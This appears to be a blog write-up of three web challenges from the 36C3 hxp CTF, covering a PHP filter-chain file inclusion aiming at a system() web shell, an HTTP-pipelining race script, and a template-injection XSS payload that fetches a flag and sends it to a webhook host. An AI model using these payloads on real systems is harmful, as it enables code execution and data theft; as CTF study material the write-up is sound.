2 minute read

Writeups for the web challenges from 36C3 CTF (hxp CTF), held in December 2019 at the Chaos Communication Congress in Leipzig.

includer

Category: Web Difficulty: Medium-Hard

This challenge presented a PHP application with a file inclusion vulnerability. The interesting constraint was that the include path was filtered and typical LFI bypasses (null bytes, double encoding, path traversal) were blocked.

Analysis

The vulnerable code:

<?php
  $page = $_GET['page'] ?? 'home';
  $page = preg_replace('/[^a-z0-9_-]/i', '', $page);
  include("pages/$page.php");
?>

The regex removes all special characters including dots and slashes, so conventional path traversal is impossible. However, PHP’s include() function supports various stream wrappers.

Solution

The key insight was using PHP filter chains. Even though we cannot include arbitrary paths, we can chain php://filter conversions to construct arbitrary content byte by byte:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|/resource=php://temp

By carefully selecting iconv character set conversions, each conversion step prepends specific bytes to the stream. After multiple conversions, the accumulated prefix forms valid PHP code.

I wrote a script to automate the chain generation:

# Generate filter chain for arbitrary PHP code
# Each charset conversion adds specific byte sequences
# Chain them to build <?php system($_GET['cmd']); ?>

The final payload was approximately 5000 characters of chained filters, but the result was reliable code execution.

Takeaway

PHP filter chains represent a powerful technique for exploiting file inclusion vulnerabilities even when path traversal is restricted. The attack requires no writable directory and no outbound network access.

resonator

Category: Web Difficulty: Hard

A Python web application using a custom WSGI server with WebSocket support.

Analysis

The application had a race condition in its session handling. Two concurrent requests could access and modify the same session object without locking, leading to a TOCTOU (Time of Check, Time of Use) vulnerability.

The challenge was exploiting this race condition reliably. Most race conditions in web applications are probabilistic, but this one could be made deterministic using a technique I call “request pipelining abuse.”

Solution

By sending two HTTP requests on the same TCP connection without waiting for the first response (HTTP pipelining), we could ensure both requests were processed nearly simultaneously by the WSGI server.

import socket

s = socket.socket()
s.connect(('challenge.ctf.de', 8000))

# Send two pipelined requests
req1 = b'GET /check HTTP/1.1\r\nHost: challenge\r\nCookie: session=xxx\r\n\r\n'
req2 = b'GET /modify HTTP/1.1\r\nHost: challenge\r\nCookie: session=xxx\r\n\r\n'
s.send(req1 + req2)

# Both requests processed concurrently
resp = s.recv(4096)

The timing window was approximately 2ms, but pipelining made it reliable in about 1 out of 3 attempts.

writeup

Category: Web Difficulty: Easy

A note-taking application where the admin bot visited URLs submitted by users.

Analysis

Classic XSS challenge with CSP: script-src 'nonce-{random}'. The nonce was 16 bytes, randomly generated per request. Direct XSS was blocked by CSP.

Solution

The application used a client-side templating library that parsed HTML comments as template directives. By injecting a specially crafted HTML comment, we could execute JavaScript through the template engine without triggering CSP:

<!-- {template_directive: fetch('/flag').then(r=>r.text()).then(t=>location='https://webhook/?'+t)} -->

The template engine processed the comment and executed the JavaScript as part of its template compilation, which inherited the page’s nonce.

Lessons Learned

  1. PHP filter chains are a game-changing primitive for LFI exploitation
  2. HTTP pipelining can make race conditions deterministic
  3. Client-side template injection bypasses CSP when the template engine has script execution capabilities
  4. Always audit third-party template libraries for CSP bypass potential

Tags:

Categories:

Updated: